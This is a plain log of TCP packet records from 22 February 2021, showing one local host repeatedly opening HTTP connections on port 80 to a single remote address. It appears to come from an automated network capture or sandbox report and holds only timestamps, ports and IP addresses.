Feb 22, 2021 19:14:07.112781048 CET	49818	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:07.451200008 CET	80	49818	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:07.451307058 CET	49818	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:07.789136887 CET	80	49818	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:07.826639891 CET	80	49818	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:07.826808929 CET	49818	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:07.826984882 CET	80	49818	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:07.827045918 CET	49818	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:08.072906971 CET	49819	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:08.166235924 CET	80	49818	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:08.410173893 CET	80	49819	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:08.410295963 CET	49819	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:08.413652897 CET	49819	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:08.749349117 CET	80	49819	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:08.749602079 CET	49819	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:09.085068941 CET	80	49819	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:09.114203930 CET	80	49819	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:09.114279032 CET	80	49819	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:09.114362955 CET	49819	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:09.114414930 CET	49819	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:09.355540037 CET	49820	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:09.448856115 CET	80	49819	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:09.693408012 CET	80	49820	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:09.693557024 CET	49820	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:09.712193966 CET	49820	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:10.049879074 CET	80	49820	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:10.049978971 CET	49820	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:10.391522884 CET	80	49820	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:10.421947002 CET	80	49820	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:10.422000885 CET	80	49820	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:10.422168016 CET	49820	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:10.422214031 CET	49820	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:10.639776945 CET	49821	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:10.761104107 CET	80	49820	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:10.975539923 CET	80	49821	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:10.975754976 CET	49821	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:11.002002954 CET	49821	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:11.337661028 CET	80	49821	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:11.337898016 CET	49821	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:11.674774885 CET	80	49821	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:11.707024097 CET	80	49821	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:11.707323074 CET	80	49821	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:11.707391024 CET	49821	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:11.707425117 CET	49821	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:11.959961891 CET	49822	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:12.042572975 CET	80	49821	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:12.298293114 CET	80	49822	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:12.298474073 CET	49822	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:12.313270092 CET	49822	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:12.653194904 CET	80	49822	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:12.653307915 CET	49822	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:12.993556976 CET	80	49822	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:13.023763895 CET	80	49822	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:13.023874044 CET	80	49822	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:13.023891926 CET	49822	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:13.023925066 CET	49822	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:13.249608994 CET	49823	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:13.361994028 CET	80	49822	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:13.584155083 CET	80	49823	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:13.584359884 CET	49823	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:13.908883095 CET	49823	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:14.244668007 CET	80	49823	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:14.247961044 CET	49823	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:14.582493067 CET	80	49823	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:14.616005898 CET	80	49823	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:14.616067886 CET	80	49823	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:14.616245985 CET	49823	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:14.769469023 CET	49823	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:15.081182003 CET	49824	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:15.105243921 CET	80	49823	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:15.417537928 CET	80	49824	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:15.417752028 CET	49824	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:15.437535048 CET	49824	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:15.773372889 CET	80	49824	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:15.773653984 CET	49824	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:16.108849049 CET	80	49824	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:16.140294075 CET	80	49824	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:16.140433073 CET	49824	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:16.140557051 CET	80	49824	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:16.140607119 CET	49824	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:16.346271992 CET	49825	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:16.476020098 CET	80	49824	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:16.683573008 CET	80	49825	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:16.683917999 CET	49825	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:16.710648060 CET	49825	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:17.047985077 CET	80	49825	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:17.048197985 CET	49825	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:17.385940075 CET	80	49825	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:17.424968958 CET	80	49825	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:17.425321102 CET	80	49825	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:17.425364971 CET	49825	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:17.425427914 CET	49825	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:17.661257029 CET	49826	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:17.762456894 CET	80	49825	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:17.999090910 CET	80	49826	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:17.999258995 CET	49826	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:18.024683952 CET	49826	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:18.362600088 CET	80	49826	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:18.362878084 CET	49826	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:18.700308084 CET	80	49826	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:18.739638090 CET	80	49826	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:18.739775896 CET	80	49826	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:18.739877939 CET	49826	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:18.739981890 CET	49826	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:18.962858915 CET	49827	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:19.079659939 CET	80	49826	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:19.302432060 CET	80	49827	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:19.302584887 CET	49827	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:19.321867943 CET	49827	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:19.659957886 CET	80	49827	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:19.660252094 CET	49827	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:19.998182058 CET	80	49827	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:20.031702995 CET	80	49827	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:20.031749964 CET	80	49827	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:20.031930923 CET	49827	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:20.031975985 CET	49827	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:20.257460117 CET	49828	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:20.371510983 CET	80	49827	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:20.595802069 CET	80	49828	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:20.596049070 CET	49828	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:20.599287033 CET	49828	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:20.937453032 CET	80	49828	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:20.937680960 CET	49828	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:21.275712967 CET	80	49828	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:21.306483984 CET	80	49828	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:21.306590080 CET	80	49828	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:21.306638956 CET	49828	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:21.306674957 CET	49828	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:21.529941082 CET	49829	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:21.644619942 CET	80	49828	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:21.877697945 CET	80	49829	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:21.877804995 CET	49829	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:21.882520914 CET	49829	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:22.227745056 CET	80	49829	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:22.227998972 CET	49829	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:22.574868917 CET	80	49829	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:22.606409073 CET	80	49829	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:22.606697083 CET	49829	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:22.606764078 CET	80	49829	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:22.606859922 CET	49829	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:22.831449986 CET	49830	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:22.951500893 CET	80	49829	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:23.168802977 CET	80	49830	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:23.169013977 CET	49830	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:23.176364899 CET	49830	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:23.514427900 CET	80	49830	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:23.515377998 CET	49830	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:23.852638006 CET	80	49830	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:23.883021116 CET	80	49830	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:23.883290052 CET	80	49830	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:23.883521080 CET	49830	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:23.883599043 CET	49830	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:24.140039921 CET	49831	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:24.220797062 CET	80	49830	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:24.478173018 CET	80	49831	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:24.478315115 CET	49831	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:24.482439995 CET	49831	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:24.820396900 CET	80	49831	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:24.822552919 CET	49831	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:25.160581112 CET	80	49831	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:25.190963030 CET	80	49831	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:25.191011906 CET	80	49831	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:25.191106081 CET	49831	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:25.191157103 CET	49831	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:25.389622927 CET	49832	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:25.526575089 CET	80	49831	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:25.725759029 CET	80	49832	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:25.728914022 CET	49832	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:25.733887911 CET	49832	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:26.068190098 CET	80	49832	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:26.068434000 CET	49832	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:26.403249025 CET	80	49832	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:26.446412086 CET	80	49832	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:26.446681976 CET	80	49832	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:26.446708918 CET	49832	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:26.446783066 CET	49832	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:26.673378944 CET	49833	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:26.782939911 CET	80	49832	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:27.008416891 CET	80	49833	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:27.008611917 CET	49833	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:27.016300917 CET	49833	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:27.351351976 CET	80	49833	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:27.351428986 CET	49833	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:27.686309099 CET	80	49833	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:27.717015982 CET	80	49833	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:27.717096090 CET	80	49833	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:27.717150927 CET	49833	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:27.719911098 CET	49833	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:27.953135967 CET	49834	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:28.052033901 CET	80	49833	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:28.290896893 CET	80	49834	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:28.291232109 CET	49834	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:28.298521042 CET	49834	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:28.636348009 CET	80	49834	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:28.636457920 CET	49834	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:28.974087000 CET	80	49834	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:29.005323887 CET	80	49834	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:29.005374908 CET	80	49834	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:29.005482912 CET	49834	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:29.005522013 CET	49834	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:29.204662085 CET	49835	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:29.345088959 CET	80	49834	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:29.539346933 CET	80	49835	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:29.539640903 CET	49835	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:29.542202950 CET	49835	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:29.876413107 CET	80	49835	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:29.876545906 CET	49835	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:30.211976051 CET	80	49835	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:30.244988918 CET	80	49835	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:30.245059967 CET	80	49835	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:30.245168924 CET	49835	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:30.245227098 CET	49835	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:30.469335079 CET	49837	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:30.579262972 CET	80	49835	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:30.807482958 CET	80	49837	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:30.807766914 CET	49837	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:30.810538054 CET	49837	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:31.145601988 CET	80	49837	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:31.145735979 CET	49837	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:31.481028080 CET	80	49837	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:31.511131048 CET	80	49837	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:31.511451960 CET	49837	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:31.511604071 CET	80	49837	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:31.514045000 CET	49837	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:31.795514107 CET	49839	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:31.846321106 CET	80	49837	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:32.132493973 CET	80	49839	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:32.132641077 CET	49839	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:32.137482882 CET	49839	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:32.474545002 CET	80	49839	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:32.474783897 CET	49839	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:32.812048912 CET	80	49839	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:32.846445084 CET	80	49839	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:32.846576929 CET	49839	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:32.846630096 CET	80	49839	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:32.846697092 CET	49839	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:33.070969105 CET	49840	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:33.184250116 CET	80	49839	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:33.409128904 CET	80	49840	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:33.409208059 CET	49840	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:33.411950111 CET	49840	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:33.748914957 CET	80	49840	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:33.749093056 CET	49840	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:34.085664034 CET	80	49840	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:34.116691113 CET	80	49840	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:34.116771936 CET	80	49840	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:34.116975069 CET	49840	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:34.117526054 CET	49840	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:34.371501923 CET	49841	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:34.453875065 CET	80	49840	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:34.716842890 CET	80	49841	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:34.717153072 CET	49841	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:34.725025892 CET	49841	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:35.073568106 CET	80	49841	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:35.073873043 CET	49841	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:35.418869972 CET	80	49841	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:35.450486898 CET	80	49841	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:35.450736046 CET	80	49841	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:35.450814962 CET	49841	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:35.450840950 CET	49841	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:35.690229893 CET	49842	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:35.795947075 CET	80	49841	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:36.025278091 CET	80	49842	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:36.025398970 CET	49842	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:36.028479099 CET	49842	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:36.364536047 CET	80	49842	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:36.364825964 CET	49842	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:36.700278044 CET	80	49842	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:36.741519928 CET	80	49842	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:36.741547108 CET	80	49842	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:36.741727114 CET	49842	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:36.741784096 CET	49842	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:36.992747068 CET	49843	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:37.078494072 CET	80	49842	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:37.326946020 CET	80	49843	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:37.327440977 CET	49843	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:37.334441900 CET	49843	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:37.668519020 CET	80	49843	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:37.668834925 CET	49843	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:38.002674103 CET	80	49843	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:38.034826040 CET	80	49843	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:38.034876108 CET	80	49843	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:38.035116911 CET	49843	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:38.035186052 CET	49843	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:38.277103901 CET	49844	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:38.370656013 CET	80	49843	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:38.615442038 CET	80	49844	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:38.615652084 CET	49844	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:38.623261929 CET	49844	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:38.960230112 CET	80	49844	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:38.961205006 CET	49844	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:39.297967911 CET	80	49844	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:39.339082003 CET	80	49844	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:39.339129925 CET	80	49844	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:39.339318037 CET	49844	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:39.339365959 CET	49844	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:39.599857092 CET	49845	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:39.676040888 CET	80	49844	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:39.945934057 CET	80	49845	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:39.946244001 CET	49845	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:39.953346014 CET	49845	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:40.298930883 CET	80	49845	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:40.299132109 CET	49845	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:40.646445036 CET	80	49845	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:40.683614016 CET	80	49845	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:40.683698893 CET	80	49845	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:40.683887959 CET	49845	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:40.683969021 CET	49845	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:40.913114071 CET	49846	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:41.029133081 CET	80	49845	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:41.249655962 CET	80	49846	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:41.249881983 CET	49846	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:41.267887115 CET	49846	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:41.603013039 CET	80	49846	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:41.603157043 CET	49846	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:41.939703941 CET	80	49846	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:41.979253054 CET	80	49846	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:41.979475021 CET	49846	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:41.979830027 CET	80	49846	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:41.979903936 CET	49846	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:42.207290888 CET	49847	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:42.315402985 CET	80	49846	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:42.541276932 CET	80	49847	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:42.541637897 CET	49847	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:42.561340094 CET	49847	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:42.895688057 CET	80	49847	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:42.895849943 CET	49847	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:43.229955912 CET	80	49847	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:43.262561083 CET	80	49847	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:43.262681007 CET	80	49847	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:43.262912989 CET	49847	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:43.263039112 CET	49847	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:43.495717049 CET	49848	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:43.596999884 CET	80	49847	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:43.831540108 CET	80	49848	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:43.831814051 CET	49848	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:43.857917070 CET	49848	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:44.196109056 CET	80	49848	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:44.196196079 CET	49848	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:44.532948017 CET	80	49848	203.170.84.89	192.168.2.4
